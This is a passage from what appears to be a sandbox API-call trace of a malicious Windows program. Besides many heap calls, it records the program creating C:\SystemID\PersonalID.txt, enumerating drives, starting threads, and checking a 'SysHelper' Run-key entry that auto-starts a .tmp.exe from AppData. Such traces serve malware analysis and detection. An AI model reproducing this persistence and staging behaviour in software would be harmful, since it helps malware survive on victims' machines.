0x79bc4a0 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x50) returned 0x79bc4f8 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x1c8) returned 0x7a0efd0 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d6f08 | out: hHeap=0x4ff0000) returned 1 [0051.055] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb628 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0bd08 | out: hHeap=0x4ff0000) returned 1 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bd990 | out: hHeap=0x4ff0000) returned 1 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bc398 | out: hHeap=0x4ff0000) returned 1 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x793b040 | out: hHeap=0x4ff0000) returned 1 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb508 | out: hHeap=0x4ff0000) returned 1 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bc340 | out: hHeap=0x4ff0000) returned 1 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bc3f0 | out: hHeap=0x4ff0000) returned 1 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb598 | out: hHeap=0x4ff0000) returned 1 [0051.055] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bd9e0 | out: hHeap=0x4ff0000) returned 1 [0051.056] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bc448 | out: hHeap=0x4ff0000) returned 1 [0051.056] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x793b0a8 | out: hHeap=0x4ff0000) returned 1 [0051.056] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb5e0 | out: hHeap=0x4ff0000) returned 1 [0051.056] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bc4a0 | out: hHeap=0x4ff0000) returned 1 [0051.056] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bc4f8 | out: hHeap=0x4ff0000) returned 1 [0051.056] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb628 | out: hHeap=0x4ff0000) returned 1 [0051.056] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0efd0 | out: hHeap=0x4ff0000) returned 1 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x28) returned 0x7a004a8 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a171b0 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a17418 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a17680 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a178e8 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a17b50 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a17db8 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a18020 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a18288 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a184f0 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x7a18758 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xa0) returned 0x7a00980 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x130) returned 0x79d6f08 [0051.056] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a00980 | out: hHeap=0x4ff0000) returned 1 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x1d0) returned 0x79c00a8 [0051.056] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d6f08 | out: hHeap=0x4ff0000) returned 1 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x2b7) returned 0x7a0d918 [0051.056] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c00a8 | out: hHeap=0x4ff0000) returned 1 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x412) returned 0x79cdd80 [0051.056] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0d918 | out: hHeap=0x4ff0000) returned 1 [0051.056] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x61a) returned 0x79d5048 [0051.056] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cdd80 | out: hHeap=0x4ff0000) returned 1 [0051.056] GetUserNameW (in: lpBuffer=0x18bf40, pcbBuffer=0x18bcac | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18bcac) returned 1 [0051.057] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x590) returned 0x79cb6e0 [0051.057] GetLastError () returned 0x0 [0051.058] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18b9a0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.058] GetLastError () returned 0x3 [0051.059] GetLastError () returned 0x3 [0051.059] CreateDirectoryW (lpPathName="C:\\SystemID" (normalized: "c:\\systemid"), lpSecurityAttributes=0x0) returned 1 [0051.059] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b9a0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0051.059] GetFileType (hFile=0x3b0) returned 0x1 [0051.059] GetLastError () returned 0x0 [0051.062] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0051.062] RegisterClassExW (param_1=0x18bc18) returned 0xc059 [0051.062] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x50122 [0051.062] NtdllDefWindowProc_W () returned 0x0 [0051.062] NtdllDefWindowProc_W () returned 0x1 [0051.064] NtdllDefWindowProc_W () returned 0x0 [0051.153] NtdllDefWindowProc_W () returned 0x0 [0051.153] ShowWindow (hWnd=0x50122, nCmdShow=0) returned 0 [0051.153] UpdateWindow (hWnd=0x50122) returned 1 [0051.153] GetLogicalDrives () returned 0x4 [0051.153] SetErrorMode (uMode=0x1) returned 0x0 [0051.153] PathFileExistsA (pszPath="C:\\") returned 1 [0051.154] SetErrorMode (uMode=0x0) returned 0x1 [0051.154] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x806) returned 0x79cc710 [0051.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18bbd0, cbMultiByte=-1, lpWideCharStr=0x79cc710, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x810) returned 0x7a0c478 [0051.154] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cc710 | out: hHeap=0x4ff0000) returned 1 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x18) returned 0x79b3ce8 [0051.154] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0c478 | out: hHeap=0x4ff0000) returned 1 [0051.154] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79b3ce8 | out: hHeap=0x4ff0000) returned 1 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x18) returned 0x79b3ce8 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x10) returned 0x79c3810 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x110) returned 0x7a4bec8 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x810) returned 0x79cc710 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a3edf0 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x1070) returned 0x7a19e58 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x60) returned 0x793b040 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x810) returned 0x7a0c478 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x660) returned 0x7a1aed0 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a3f678 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a3ff00 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a40788 [0051.154] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a4c000 [0051.155] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a4c888 [0051.155] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x840) returned 0x7a1d730 [0051.155] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a4d110 [0051.155] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a4d998 [0051.155] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x840) returned 0x7a1df78 [0051.155] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x7a1e7c0 [0051.155] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x7a5bfe8 [0051.155] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a4e220 [0051.155] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a4eaa8 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x840) returned 0x7a5c850 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x840) returned 0x7a5d098 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a4f330 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a4fbb8 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a50440 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a50cc8 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a51550 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a51dd8 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a52660 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a52ee8 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a53770 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a53ff8 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x7a5d8e0 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x7a5e148 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a54880 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a55108 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a55990 [0051.156] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x840) returned 0x7a5e9b0 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x840) returned 0x7a5f1f8 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a56218 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a56aa0 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a57328 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a57bb0 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a58438 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a58cc0 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a59548 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a59dd0 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a5a658 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x7a5fa40 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x7a602a8 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a5aee0 [0051.157] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a60b28 [0051.158] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a613b0 [0051.158] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x840) returned 0x7a70b10 [0051.158] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x840) returned 0x7a61c38 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a624c0 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a62d48 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a635d0 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a63e58 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a646e0 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a64f68 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a657f0 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a66078 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a66900 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x7a71358 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x7a71bc0 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a67188 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a67a10 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a68298 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x840) returned 0x7a68b20 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a693a8 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a69c30 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a6a4b8 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a6ad40 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a6b5c8 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc0) returned 0x79d9620 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a6be50 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x810) returned 0x7a72428 [0051.159] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x810) returned 0x7a72c40 [0051.160] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x810) returned 0x7a73458 [0051.160] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x810) returned 0x7a73c70 [0051.160] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x810) returned 0x7a74488 [0051.160] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x810) returned 0x7a74ca0 [0051.160] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x810) returned 0x7a754b8 [0051.160] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x60) returned 0x793b110 [0051.160] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a6c6d8 [0051.160] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a6cf60 [0051.160] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a6d7e8 [0051.160] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x820) returned 0x7a6e070 [0051.160] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x110) returned 0x79d6f08 [0051.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4156a0, lpParameter=0x7a4bed0, dwCreationFlags=0x0, lpThreadId=0x79c3818 | out: lpThreadId=0x79c3818*=0x864) returned 0x3a0 [0051.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4162f0, lpParameter=0x473998, dwCreationFlags=0x0, lpThreadId=0x473990 | out: lpThreadId=0x473990*=0x868) returned 0x398 [0051.161] GetMessageW (in: lpMsg=0x18bdc8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18bdc8) returned 1 [0064.167] NtdllDefWindowProc_W () returned 0x0 [0064.167] NtdllDefWindowProc_W () returned 0x0 [0064.181] NtdllDefWindowProc_W () returned 0x0 [0064.181] NtdllDefWindowProc_W () returned 0x0 [0064.181] NtdllDefWindowProc_W () returned 0x0 [0064.182] NtdllDefWindowProc_W () returned 0x0 [0064.182] NtdllDefWindowProc_W () returned 0x0 [0064.182] NtdllDefWindowProc_W () returned 0x1 [0064.184] NtdllDefWindowProc_W () returned 0x0 [0064.194] NtdllDefWindowProc_W () returned 0x0 [0064.195] NtdllDefWindowProc_W () returned 0x0 [0064.195] NtdllDefWindowProc_W () returned 0x0 [0064.195] NtdllDefWindowProc_W () returned 0x3 [0064.195] TranslateMessage (lpMsg=0x18bdc8) returned 0 [0064.195] DispatchMessageW (lpMsg=0x18bdc8) returned 0x0 [0064.195] GetMessageW (in: lpMsg=0x18bdc8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18bdc8) returned 0 [0064.195] NtdllDefWindowProc_W () returned 0x2 [0064.196] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18b490 | out: phkResult=0x18b490*=0x708) returned 0x0 [0064.196] RegQueryValueExW (in: hKey=0x708, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18b48c, lpData=0x189bb8, lpcbData=0x18b470*=0x400 | out: lpType=0x18b48c*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart", lpcbData=0x18b470*=0xd8) returned 0x0 [0064.196] RegCloseKey (hKey=0x708) returned 0x0 [0064.196] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xe0) returned 0x7a83460 [0064.196] lstrlenA (lpString="\" --AutoStart") returned 13 [0064.196] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc0) returned 0x79d9d28 [0064.196] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a83460 | out: hHeap=0x4ff0000) returned 1 [0064.196] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe") returned 1 [0064.196] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d9d28 | out: hHeap=0x4ff0000) returned 1 [0064.196] IsWindow (hWnd=0x50122) returned 1 [0064.196] DestroyWindow (hWnd=0x50122) returned 1 [0064.196] NtdllDefWindowProc_W () returned 0x0 [0064.197] NtdllDefWindowProc_W () returned 0x1 [0064.198] NtdllDefWindowProc_W () returned 0x0 [0064.198] NtdllDefWindowProc_W () returned 0x0 [0064.198] NtdllDefWindowProc_W () returned 0x0 [0064.198] NtdllDefWindowProc_W () returned 0x0 [0064.198] NtdllDefWindowProc_W () returned 0x0 [0064.198] PostQuitMessage (nExitCode=0) [0064.204] NtdllDefWindowProc_W () returned 0x0 [0064.204] CloseHandle (hObject=0x3bc) returned 1 [0064.204] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79b3ce8 | out: hHeap=0x4ff0000) returned 1 [0064.204] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bd9e0 | out: hHeap=0x4ff0000) returned 1 [0064.204] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bd990 | out: hHeap=0x4ff0000) returned 1 [0064.204] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdaa8 | out: hHeap=0x4ff0000) returned 1 [0064.204] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdad0 | out: hHeap=0x4ff0000) returned 1 [0064.204] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdaf8 | out: hHeap=0x4ff0000) returned 1 [0064.204] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdb20 | out: hHeap=0x4ff0000) returned 1 [0064.204] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79a6b90 | out: hHeap=0x4ff0000) returned 1 [0064.204] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79a6c00 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdb48 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdb70 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdb98 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdbc0 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdbe8 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdc10 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdc38 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79a6bc8 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79a6ce0 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdc60 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdc88 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdcb0 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdcd8 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdd00 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdd28 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdd50 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdd78 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79be4b8 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79be4f0 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdda0 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bddc8 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bddf0 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bde18 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bde40 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bde68 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bde90 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdeb8 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79be528 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79be560 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdee0 | out: hHeap=0x4ff0000) returned 1 [0064.205] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdf08 | out: hHeap=0x4ff0000) returned 1 [0064.206] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdf30 | out: hHeap=0x4ff0000) returned 1 [0064.206] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdf58 | out: hHeap=0x4ff0000) returned 1 [0064.206] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bdf80 | out: hHeap=0x4ff0000) returned 1 [0064.206] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0bba0 | out: hHeap=0x4ff0000) returned 1 [0064.206] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d5048 | out: hHeap=0x4ff0000) returned 1 [0064.206] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cd758 | out: 